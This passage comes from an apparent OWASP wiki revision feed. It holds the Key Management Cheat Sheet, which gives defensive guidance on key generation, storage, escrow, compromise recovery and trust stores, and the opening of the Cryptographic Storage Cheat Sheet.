&amp;lt;li&amp;gt;The monitoring of the re-keying operations (to ensure that all required operations are performed for all affected keys), and  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Any other recovery procedures, which may include: &amp;lt;/li&amp;gt; &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Physical inspection of the equipment, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identification of all information that may be compromised as a result of the incident,  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identification of all signatures that may be invalid, due to the compromise of a signing key, and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Distribution of new keying material, if required. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
=Trust Stores=&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Design controls to secure the trust store against injection of 3rd party root certificates. The access controls are managed and enforced on an entity and application basis. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Implement integrity controls on objects stored in the trust store. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Do not allow for export of keys held within the trust store without authentication and authorization. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Setup strict policies and procedures for exporting key material from applications to network applications and other components. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Implement a secure process for updating the trust store.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
=Cryptographic Key Management Libraries=&lt;br /&gt;
Use only reputable crypto libraries that are well maintained and updated, as well as tested and validated by 3rd party organizations (e.g., NIST/FIPS) &lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&amp;lt;br&amp;gt;Brian Russell - russellbri[at]leidos.com&lt;br /&gt;
&amp;lt;br&amp;gt;Drew Van Duren - drew.f.van.duren[at]leidos.com &lt;br /&gt;
&amp;lt;br&amp;gt;Vanessa Amador - vanessa.c.amador[at]leidos.com &lt;br /&gt;
&amp;lt;br&amp;gt;Susanna Bezold – BezoldCISSP[at]aol.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]] &lt;br /&gt;
&lt;br /&gt;
{{OWASP Builders}}&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Key_Management_Cheat_Sheet&amp;diff=241392</id>
		<title>Key Management Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Key_Management_Cheat_Sheet&amp;diff=241392"/>
				<updated>2018-06-19T01:52:51Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Add link to cheat sheet&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Introduction=&lt;br /&gt;
This Key Management Cheat Sheet provides developers with guidance for implementation of cryptographic key management within an application in a secure manner. It is important to document and harmonize rules and practices for: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key life cycle management (generation, distribution, destruction)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key compromise, recovery and zeroization&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key storage&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;key agreement&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
=General Guidelines and Considerations=&lt;br /&gt;
Formulate a plan for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. Identify the cryptographic and key management requirements for your application and map all components that process or store cryptographic key material. &lt;br /&gt;
=Key Selection=&lt;br /&gt;
Selection of the cryptographic and key management algorithms to use within a given application should begin with an understanding of the objectives of the application. For example, if the application is required to store data securely, then the developer should select an algorithm suite that supports the objective of data at rest protection security. Applications that are required to transmit and receive data would select an algorithm suite that supports the objective of data in transit protection. We have provided recommendations on the selection of crypto suites within an application based on application and security objectives. &lt;br /&gt;
Application developers oftentimes begin the development of crypto and key management capabilities by examining what is available in a library. However, an analysis of the real needs of the application should be conducted to determine the optimal key management approach. Begin by understanding the security objectives of the application which will then drive the selection of cryptographic protocols that are best suited. &lt;br /&gt;
For example, the application may require: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Confidentiality of data at rest and confidentiality of data in transit. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Authenticity of the end device  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Authenticity of data origin &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Integrity of data in transit &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Keys to create the data encryption keys &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
Once the understanding of the security needs of the application is achieved, developers can determine what protocols and algorithms are required. Once the protocols and algorithms are understood, you can you can begin to define the different types of keys that will support the application's objectives. There are a diverse set of key types and certificates to consider, for example: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Encryption: - Symmetric encryption keys - Asymmetric encryption keys (public and private) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Authentication of End Devices: - Pre-shared symmetric keys - Trusted certificates - Trust Anchors &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Data Origin Authentication - HMAC &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Integrity Protection - Message Authentication Codes (MACs) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Key Encryption Keys &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Algorithms and Protocols==&lt;br /&gt;
According to NIST SP 800-57 Part 1, many algorithms and schemes that provide a security service use a hash function as a component of the algorithm. Hash functions can be found in digital signature algorithms (FIPS186), Keyed-Hash Message Authentication Codes (HMAC) (FIPS198), key-derivation functions/methods (NIST Special Publications (SP) 800-56A, 800-56B, 800-56C and 800-108), and random number generators (NIST SP 800-90A). Approved hash functions are defined in FIPS180. &lt;br /&gt;
NIST SP 800-57 Part 1 recognizes three basic classes of approved cryptographic algorithms: hash functions, symmetric- key algorithms and asymmetric-key algorithms. The classes are defined by the number of cryptographic keys that are used in conjunction with the algorithm. &lt;br /&gt;
===Cryptographic hash functions=== &lt;br /&gt;
Cryptographic hash functions do not require keys. Hash functions generate a relatively small digest (hash value) from a (possibly) large input in a way that is fundamentally difficult to reverse (i.e., it is hard to find an input that will produce a given output). Hash functions are used as building blocks for key management, for example, &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To provide data authentication and integrity services (Section 4.2.3) – the hash function is used with a key to generate a message authentication code; &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To compress messages for digital signature generation and verification (Section 4.2.4); &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To derive keys in key-establishment algorithms (Section 4.2.5); and&amp;lt;/li&amp;gt; &lt;br /&gt;
&amp;lt;li&amp;gt;To generate deterministic random numbers (Section 4.2.7).   &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
===Symmetric-key algorithms=== &lt;br /&gt;
Symmetric-key algorithms (sometimes known as secret-key algorithms) transform data in a way that is fundamentally difficult to undo without knowledge of a secret key. The key is “symmetric” because the same key is used for a cryptographic operation and its inverse (e.g., encryption and decryption). Symmetric keys are often known by more than one entity; however, the key shall not be disclosed to entities that are not authorized access to the data protected by that algorithm and key. Symmetric key algorithms are used, for example, &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To provide data confidentiality (Section 4.2.2); the same key is used to encrypt and decrypt data;  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To provide authentication and integrity services (Section 4.2.3) in the form of Message Authentication Codes (MACs); the same key is used to generate the MAC and to validate it. MACs normally employ either a symmetric key-encryption algorithm or a cryptographic hash function as their cryptographic primitive;  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;As part of the key-establishment process (Section 4.2.5); and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To generate deterministic random numbers (Section 4.2.7). &amp;lt;/li&amp;gt;  &lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
===Asymmetric-key algorithms=== &lt;br /&gt;
Asymmetric-key algorithms, commonly known as public-key algorithms, use two related keys (i.e., a key pair) to perform their functions: a public key and a private key. The public key may be known by anyone; the private key should1 be under the sole control of the entity that “owns” the key pair. Even though the public and private keys of a key pair are related, knowledge of the public key does not reveal the private key. Asymmetric algorithms are used, for example, &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To compute digital signatures (Section 4.2.4);  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To establish cryptographic keying material (Section 4.2.5); and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;To generate random numbers (Section 4.2.7). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
===Message Authentication Codes (MACs)=== &lt;br /&gt;
Message Authentication Codes (MACs) provide data authentication and integrity. A MAC is a cryptographic checksum on the data that is used in order to provide assurance that the data has not changed and that the MAC was computed by the expected entity. Although message integrity is often provided using non-cryptographic techniques known as error detection codes, these codes can be altered by an adversary to effect an action to the adversary’s benefit. The use of an approved cryptographic mechanism, such as a MAC, can alleviate this problem. In addition, the MAC can provide a recipient with assurance that the originator of the data is a key holder (i.e., an entity authorized to have the key). MACs are often used to authenticate the originator to the recipient when only those two parties share the MAC key.    &lt;br /&gt;
===Digital Signatures===&lt;br /&gt;
Digital signatures are used to provide authentication, integrity and non-repudiation. Digital signatures are used in conjunction with hash functions and are computed on data of any length (up to a limit that is determined by the hash function). FIPS186 specifies algorithms that are approved for the computation of digital signatures. &lt;br /&gt;
===Key Encryption Keys===&lt;br /&gt;
Symmetric key-wrapping keys are used to encrypt other keys using symmetric-key algorithms. Key-wrapping keys are also known as key encrypting keys.&lt;br /&gt;
==Key Strength==&lt;br /&gt;
Review NIST SP 800-57 (Recommendation for Key Management) for recommended guidelines on key strength for specific algorithm implementations. Also, consider these best practices: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Establish what the application's minimum computational resistance to attack should be. Understanding the minimum computational resistance to attack should take into consideration the sophistication of your adversaries, how long data needs to be protected, where data is stored and if it is exposed. Identifying the computational resistance to attack will inform engineers as to the minimum length of the cryptographic key required to protect data over the life of that data. Consult NIST SP 800-131a for additional guidance on determining the appropriate key lengths for the algorithm of choice. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;When encrypting keys for storage or distribution, always encrypt a cryptographic key with another key of equal or greater cryptographic strength. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;When moving to Elliptic Curve-based algorithms, choose a key length that meets or exceeds the comparative strength of other algorithms in use within your system. Refer to NIST SP 800-57 Table 2. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Formulate a strategy for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Memory Management Considerations==&lt;br /&gt;
Keys stored in memory for a long time can become “burned in”.  This can be mitigated by splitting the key into components that are frequently updated. NIST SP 800.57). Loss or corruption of the memory media on which keys and/or certificates are stored, and recovery planning, according to NIST SP 800.57.&lt;br /&gt;
Plan for the recovery from possible corruption of the memory media necessary for key or certificate generation, registration, and/or distribution systems, subsystems, or components as recommended in NIST SP 800.57. &lt;br /&gt;
==Perfect Forward Secrecy==&lt;br /&gt;
Ephemeral keys can provide perfect forward secrecy protection, which means a compromise of the server's long term signing key does not compromise the confidentiality of past sessions. Refer to [[https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet OWASP Transport Layer Protection Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
==Proxy Handling==&lt;br /&gt;
==Key Usage==&lt;br /&gt;
According to NIST, in general, a single key should be used for only one purpose (e.g., encryption, authentication, key wrapping, random number generation, or digital signatures). There are several reasons for this: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The use of the same key for two different cryptographic processes may weaken the security provided by one or both of the processes. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Limiting the use of a key limits the damage that could be done if the key is compromised.  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Some uses of keys interfere with each other. For example, the length of time the key may be required for each use and purpose. Retention requirements of the data may differ for different data types. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Cryptographic Module Topics==&lt;br /&gt;
According to NIST SP800-133, cryptographic modules are the set of hardware, software, and/or firmware that implements security functions (including cryptographic algorithms and key generation) and is contained within a cryptographic module boundary to provide protection of the keys.&lt;br /&gt;
=Key Management Lifecycle Best Practices=&lt;br /&gt;
==Generation==&lt;br /&gt;
Cryptographic keys shall be generated within cryptographic module with at least a FIPS 140-2 compliance. For explanatory purposes, consider the cryptographic module in which a key is generated to be the key-generating module. Any random value required by the key-generating module shall be generated within that module; that is, the Random Bit Generator that generates the random value shall be implemented within cryptographic module with at least a FIPS 140-2 compliance that generates the key. &lt;br /&gt;
Hardware cryptographic modules are preferred over software cryptographic modules for protection.&lt;br /&gt;
==Distribution==&lt;br /&gt;
The generated keys shall be transported (when necessary) using secure channels and shall be used by their associated cryptographic algorithm within at least a FIPS 140-2 compliant cryptographic modules. For additional detail for the recommendations in this section refer to NIST Special Paper 800-133. &lt;br /&gt;
==Storage==&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Developers must understand where cryptographic keys are stored within the application. Understand what memory devices the keys are stored on. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Keys must be protected on both volatile and persistent memory, ideally processed within secure cryptographic modules. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Keys should never be stored in plaintext format. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure all keys are stored in cryptographic vault, such as a hardware security module (HSM) or isolated cryptographic service. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;If you are planning on storing keys in offline devices/databases, then encrypt the keys using Key Encryption Keys (KEKs) prior to the export of the key material. KEK length (and algorithm) should be equivalent to or greater in strength than the keys being protected. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure that keys have integrity protections applied while in storage (consider dual purpose algorithms that support encryption and Message Code Authentication (MAC)). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure that standard application level code never reads or uses cryptographic keys in any way and use key management libraries. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Ensure that keys and cryptographic operation is done inside the sealed vault. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;All work should be done in the vault (such as key access, encryption, decryption, signing, etc). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
==Escrow and Backup==&lt;br /&gt;
Data that has been encrypted with lost cryptographic keys will never be recovered. Therefore, it is essential that the application incorporate a secure key backup capability, especially for applications that support data at rest encryption for long-term data stores. When backing up keys, ensure that the database that is used to store the keys is encrypted using at least a FIPS 140-2 validated module. &lt;br /&gt;
It is sometimes useful to escrow key material for use in investigations and for re-provisioning of key material to users in the event that the key is lost or corrupted. Never escrow keys used for performing digital signatures, but consider the need to escrow keys that support encryption. Oftentimes, escrow can be performed by the Certificate Authority (CA) or key management system that provisions certificates and keys, however in some instances separate APIs must be implemented to allow the system to perform the escrow for the application.&lt;br /&gt;
==Key Rotation== &lt;br /&gt;
==Accountability and Audit==&lt;br /&gt;
Accountability involves the identification of those that have access to, or control of, cryptographic keys throughout their lifecycles. Accountability can be an effective tool to help prevent key compromises and to reduce the impact of compromises once they are detected. Although it is preferred that no humans are able to view keys, as a minimum, the key management system should account for all individuals who are able to view plaintext cryptographic keys. In addition, more sophisticated key-management systems may account for all individuals authorized to access or control any cryptographic keys, whether in plaintext or ciphertext form.&lt;br /&gt;
Accountability provides three significant advantages: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;It aids in the determination of when the compromise could have occurred and what individuals could have been involved,  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;It tends to protect against compromise, because individuals with access to the key know that their access to the key is known, and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;It is very useful in recovering from a detected key compromise to know where the key was used and what data or other keys were protected by the compromised key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
Certain principles have been found to be useful in enforcing the accountability of cryptographic keys. These principles might not apply to all systems or all types of keys. Some of the principles that apply to long-term keys controlled by humans include: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Uniquely identifying keys, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identifying the key user, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identifying the dates and times of key use, along with the data that is protected, and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identifying other keys that are protected by a symmetric or private key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
Two types of audit should be performed on key management systems: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The security plan and the procedures that are developed to support the plan should be periodically audited to ensure that they continue to support the Key Management Policy (NIST SP 800-57 Part 2). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The protective mechanisms employed should be periodically reassessed with respect to the level of security that they provide and are expected to provide in the future, and that the mechanisms correctly and effectively support the appropriate policies. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
New technology developments and attacks should be taken into consideration. On a more frequent basis, the actions of the humans that use, operate and maintain the system should be reviewed to verify that the humans continue to follow established security procedures. Strong cryptographic systems can be compromised by lax and inappropriate human actions. Highly unusual events should be noted and reviewed as possible indicators of attempted attacks on the system.&lt;br /&gt;
==Key Compromise and Recovery==&lt;br /&gt;
The compromise of a key has the following implications: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;In general, the unauthorized disclosure of a key used to provide confidentiality protection (i.e., via encryption) means that all information encrypted by that key could be expose or known by unauthorized entities. The disclosure of a Certificate of Authorities’s private signature key means that an adversary can create fraudulent certificates and Certificate Revocation Lists (CRLs).  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of the integrity of a key means that the key is incorrect - either that the key has been modified (either deliberately or accidentally), or that another key has been substituted; this includes a deletion (non-availability) of the key. The substitution or modification of a key used to provide integrity calls into question the integrity of all information protected by the key. This information could have been provided by, or changed by, an unauthorized entity that knows the key. The substitution of a public or secret key that will be used (at a later time) to encrypt data could allow an unauthorized entity (who knows the decryption key) to decrypt data that was encrypted using the encryption key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of a key’s usage or application association means that the key could be used for the wrong purpose (e.g., for key establishment instead of digital signatures) or for the wrong application, and could result in the compromise of information protected by the key. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of a key’s association with the owner or other entity means that the identity of the other entity cannot be assured (i.e., one does not know who the other entity really is) or that information cannot be processed correctly (e.g., decrypted with the correct key).  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A compromise of a key’s association with other information means that there is no association at all, or the association is with the wrong “information”. This could cause the cryptographic services to fail, information to be lost, or the security of the information to be compromised. Certain protective measures may be taken in order to minimize the likelihood or consequences of a key compromise. Similar affect as ransomware, except that you can’t pay the ransom and get the key back. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
The following procedures are usually involved: &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Limiting the amount of time a symmetric or private key is in plaintext form. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Preventing humans from viewing plaintext symmetric and private keys. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Restricting plaintext symmetric and private keys to physically protected containers. This includes key generators, key-transport devices, key loaders, cryptographic modules, and key-storage devices. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Using integrity checks to ensure that the integrity of a key or its association with other data has not been compromised. For example, keys may be wrapped (i.e., encrypted) in such a manner that unauthorized modifications to the wrapping or to the associations will be detected. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Employing key confirmation (see NIST SP 800-57 Part 1 Section 4.2.5.5) to help ensure that the proper key was, in fact, established. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Establishing an accountability system that keeps track of each access to symmetric and private keys in plaintext form. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Providing a cryptographic integrity check on the key (e.g., using a MAC or a digital signature). &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The use of trusted timestamps for signed data. i. Destroying keys as soon as they are no longer needed. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Creating a compromise-recovery plan, especially in the case of a CA compromise. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
A compromise-recovery plan is essential for restoring cryptographic security services in the event of a key compromise. A compromise-recovery plan shall be documented and easily accessible. The compromise-recovery plan should contain:  &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The identification and contact info of the personnel to notify, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The identification and contact info of the personnel to perform the recovery actions, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The re-key method,  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;An inventory of all cryptographic keys and their use (e.g., the location of all certificates in a system),  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The education of all appropriate personnel on the recovery procedures, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;An identification and contact info of all personnel needed to support the recovery procedures, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Policies that key-revocation checking be enforced (to minimize the effect of a compromise), &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The monitoring of the re-keying operations (to ensure that all required operations are performed for all affected keys), and  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Any other recovery procedures, which may include: &amp;lt;/li&amp;gt; &lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Physical inspection of the equipment, &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identification of all information that may be compromised as a result of the incident,  &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Identification of all signatures that may be invalid, due to the compromise of a signing key, and &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Distribution of new keying material, if required. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
=Trust Stores=&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Design controls to secure the trust store against injection of 3rd party root certificates. The access controls are managed and enforced on an entity and application basis. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Implement integrity controls on objects stored in the trust store. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Do not allow for export of keys held within the trust store without authentication and authorization. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Setup strict policies and procedures for exporting key material from applications to network applications and other components. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Implement a secure process for updating the trust store.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
=Cryptographic Key Management Libraries=&lt;br /&gt;
Use only reputable crypto libraries that are well maintained and updated, as well as tested and validated by 3rd party organizations (e.g., NIST/FIPS) &lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&amp;lt;br&amp;gt;Brian Russell - russellbri[at]leidos.com&lt;br /&gt;
&amp;lt;br&amp;gt;Drew Van Duren - drew.f.van.duren[at]leidos.com &lt;br /&gt;
&amp;lt;br&amp;gt;Vanessa Amador - vanessa.c.amador[at]leidos.com &lt;br /&gt;
&amp;lt;br&amp;gt;Susanna Bezold – BezoldCISSP[at]aol.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]] &lt;br /&gt;
&lt;br /&gt;
{{OWASP Builders}}&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cryptographic_Storage_Cheat_Sheet&amp;diff=241391</id>
		<title>Cryptographic Storage Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cryptographic_Storage_Cheat_Sheet&amp;diff=241391"/>
				<updated>2018-06-19T01:34:25Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Add Argon2 as recommended algorithm&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article provides a simple model to follow when implementing solutions to protect data at rest.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Architectural Decision  ==&lt;br /&gt;
&lt;br /&gt;
An architectural decision must be made to determine the appropriate method to protect data at rest.  There are such wide varieties of products, methods and mechanisms for cryptographic storage. This cheat sheet will only focus on low-level guidelines for developers and architects who are implementing cryptographic solutions. We will not address specific vendor solutions, nor will we address the design of cryptographic algorithms.&lt;br /&gt;
&lt;br /&gt;
The general practices and required minimum key length depending on the scenario listed below.&lt;br /&gt;
&lt;br /&gt;
* Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
* Message Integrity: HMAC-SHA2&lt;br /&gt;
* Message Hash: SHA2 256 bits&lt;br /&gt;
* Assymetric encryption: RSA 2048 bits&lt;br /&gt;
* Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
* Password Hashing: Argon2, PBKDF2, Scrypt, Bcrypt.&lt;br /&gt;
&lt;br /&gt;
= Providing Cryptographic Functionality  =&lt;br /&gt;
&lt;br /&gt;
== Secure Cryptographic Storage Design  ==&lt;br /&gt;
&lt;br /&gt;
* All protocols and algorithms for authentication and secure communication should be well vetted by the cryptographic community.&lt;br /&gt;
&lt;br /&gt;
* Ensure certificates are properly validated against the hostnames/users ie whom they are meant for.&lt;br /&gt;
&lt;br /&gt;
* Avoid using wildcard certificates unless there is a business need for it &lt;br /&gt;
&lt;br /&gt;
* Maintain a cryptographic standard to ensure that the developer community knows about the approved ciphersuits for network security protocols, algorithms, permitted use, cryptoperiods and Key Management&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
